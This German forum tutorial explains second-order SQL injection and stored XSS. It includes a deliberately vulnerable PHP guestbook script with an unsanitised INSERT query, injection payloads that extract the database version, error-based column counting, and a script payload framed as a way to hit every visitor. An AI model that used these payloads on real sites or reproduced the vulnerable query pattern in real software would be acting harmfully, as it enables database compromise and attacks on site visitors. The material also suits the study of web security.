Ergebnis 1 bis 1 von 1
  1. #1
    Stanley Jobson Avatar von Lidloses_Auge
    Registriert seit
    05.01.2007
    Beiträge
    750

    Standard Second Order Vulnerabilities

    Second Order Vulnerabilities

    Manchmal lassen sich Lücken nicht so einfach ausnutzen und man sucht nach einer
    Lösung, wie es funktionieren könnte.
    Oder man entdeckt eine Lücke, könnte diese aber viel effizienter anwenden,
    als es zunächst den Anschein hat.

    Wir sprechen hier von sogenannten "Second Order" Attacken,
    "second" deswegen, da sie zunächst recht unauffällig wirken,
    aber ebenso beim "zweiten" Blick verheerende Folgen haben können.

    Angriffe zweiter Ordnung sind nicht auf eine Art von Lücke beschränkt,
    sondern können überall auftreten, wo sich Content in die Seite integrieren lässt.

    Die zwei prominentesten Beispiele sind hier, wie so oft, SQL Injection und XSS.

    1. Second Order SQL Injection

    Die Fehlerausgabe ist groß, man ist sich sicher, jeden Moment die Ausgabe vor sich zu haben,
    doch scheint sich die Injection zur Blind Injection zu wandeln.
    Die Erkenntnis kommt schnell: Das ist gar kein SELECT Query, es ist ein INSERT Query.

    Doch dies ist kein großes Hindernis, man muss nur wissen, wie es funktioniert und
    das Query bauen wird einfach.

    Schauen wir uns also folgenden Quellcode an:
    Code:
    <html>
    
    <form action="" method="POST">
    <input type="name" name="name"><br>
    <input type="text" name="text"><br>
    <input type="submit" value="Eintragen">
    </form>
    
    </html>
    
    <?php
    
    $host="localhost";
    $user="root";
    $pass="";
    $db="test";
    
    $name = $_POST['name'];
    $text = $_POST['text'];
    
    if(isset($_POST['text'])) {
    mysql_connect($host,$user,$pass);
    mysql_select_db($db);
    
    $query = "INSERT INTO test (`name`,`text`) VALUES ('".$name."','".$text."')";
    $query2 = "SELECT `name`,`text` FROM test ORDER BY `id` DESC LIMIT 0,1";
    $res1 = mysql_query($query) or die(mysql_error());
    $res2 = mysql_query($query2) or die(mysql_error());
    $output = mysql_fetch_array($res2);
    
    echo "<br>Name: $output[0]<br>Text: $output[1]<br>";
    }
    
    ?>
    Augenscheinlich wird vom Nutzer eine Eingabe verlangt, nämlich Name und Text.
    Dieses wird beides mttels INSERT Query in die Datenbank eingetragen.
    Anschließend wird mit einem SELECT Query der hinterste Eintrag ausgegeben.

    Da wir beim INSERT Query also keine Ausgabe bekommen, können wir uns das zweite SELECT Query zu nutze machen,
    was den Inhalt ausgibt. Wir fügen also zuerst unseren gewünschten Content ein, und lassen diesen dann ausgeben.

    Da zwei Strings eingelesen werden, die im Query mit Hochkommas umschlossen sind,
    muss magic_quotes_gpc ausgeschaltet sein.

    Es gibt hier mehrere Möglichkeiten, das ganze auszunutzen.

    Möglichkeit 1 - Ein Eintrag in "name" und "text"

    Möchte man "name" und "text" jeweils einmal verwenden, kann man folgendes probieren.

    Code:
    Name: test ',(Select version())) ; -- a
    Code:
    Text:
    nach dem Wort "test" wird die erste Spalte durch das Hochkomma finalisiert.
    Die Einträge separiert man mit einem Komma, und anschließend folgt unser gewünschter Inhalt.
    Dieser ist in diesem Fall die MySQL Version. Da wir vom VALUES Statement jedoch noch eine
    offene Klammer haben, muss auch diese am Ende geschlossen werden.
    Aus dem PHP Code erkennen wir, dass das Skript versuchen müsste noch ein ') anzuhängen.
    Um das zu verhindern kommentieren wir den Rest einfach aus.
    Das "a" an Ende dient lediglich dazu, das Space hinter den beiden Minuszeichen mit
    zu berücksichten, welches in manchen Fällen nicht mit einbezogen wird.

    Die Ausgabe durch das SELECT Query wäre:

    Code:
    Name: test
    Code:
    Text: 5.1.30-community
    Man erhält also das gewünschte Ergebnis, wenn auch einen Schritt später, als man gewohnt ist.

    Möglichkeit 2 - Zwei Einträge in "name" und "text"

    Das Escapen am Ende kann man sich auch sparen, wenn man es eilig hat, und einfach
    zwei Einträge erstellen. Dazu öffnet man am Ende einfach wieder eine Klammerung mit
    zwei weiteren Werten für "name" und "text".

    Eine Eingabemöglichkeit wäre also:

    Code:
    Name: Test
    Code:
    Text: Test'),((select version()),'Test
    der erste Eintrag wäre also

    Code:
    Name: Test
    Code:
    Text: Test
    und der zweite

    Code:
    Name: SELECT version()
    Code:
    Text: Test
    Auch hier erzielt man den gewünschten Erfolg.

    Manchmal erkennt man nicht auf den ersten Blick, wieviele Columns tatsächlich geschrieben werden, und
    wieviele man überspringen muss.

    Da PHP jedoch einen Fehler ausspuckt, wenn man eine andere Menge an Einträgen schreibt, wie vorgegeben
    erstellt man einfach Columns, bis der Fehler nicht mehr erscheint.

    Test1 - 1 Column:

    Code:
    Name: test') ; -- a
    Code:
    Text:
    Query:
    Code:
    INSERT INTO test (`name`,`text`) VALUES ('test') ; -- a ','')
    Es wird versucht einen einzelnen Wert zu schreiben, wo eigentlich zwei stehen müssten.

    Ausgabe:
    Code:
    Column count doesn't match value count at row 1
    Test2 - 2 Columns

    Code:
    Name: test','test') ; -- a
    Code:
    Text:
    Query:
    Code:
    INSERT INTO test (`name`,`text`) VALUES ('test','test') ; -- a ','')
    Es tritt kein Fehler auf, Anzahl der Spalten passt hier.

    Achtung:

    Durch das Einfügen ist die Ausgabe natürlich auch für jeden sichtbar der die Seite besucht (z.B. wenn es
    sich um ein Gästebuch handelt)

    Vielleicht ist es aber auch gerade gewollt, dass jeder auf die Injection zugreift und da kommt die
    nächste Second Order Attacke ins Spiel:

    2. Second Order XSS

    Wer kennt es nicht ... XSS-Link zusammenbasteln, an hochrangige Personen schicken und auf Ergebnisse hoffen -&gt; Öde

    Second Order XSS bringen etwas Schwung in den eingestaubten Prozess.
    Im Grunde ist das Prinzip wie bei den S.O. SQL Injections, man speichert den Payload ab, um im zweiten
    Prozesschritt ein Ergebnis zu erhalten.

    Speichert man z.b. folgenden Code auf einer Website, die JavaScript unterstützt, ab ...

    Code:
    <script>alert("NovuSec.com");</script>
    ... wird er
    bei jedem Besucher, der die Seite betritt ausgeführt und das ist eindeutig spannender
    als eine First Order XSS. Bei professionellem Vorgehen ist die Attacke hier schwerer herauszufinden
    und trifft mehr User, sofern man das möchte.

    Das Einfügen kann auf unterschiedlichste Weisen erfolgen, ob über das ACP oder eventuell sogar über
    einen Cache Poisoning Angriff mittels HTTP Response Splitting.

    Besonders interessant wäre es natürlich beide vorgestellten Methoden einfach zu kombinieren, und über
    eine SQL Injection im INSERT INTO Query einen XSS Payload einzuschleusen.

    Mehr Infos gibt es im passenden "SQLXSS" Artikel, der hier auch zu finden ist.
    Quelle: NovuSec.com

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    bizzit (16.02.2010)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •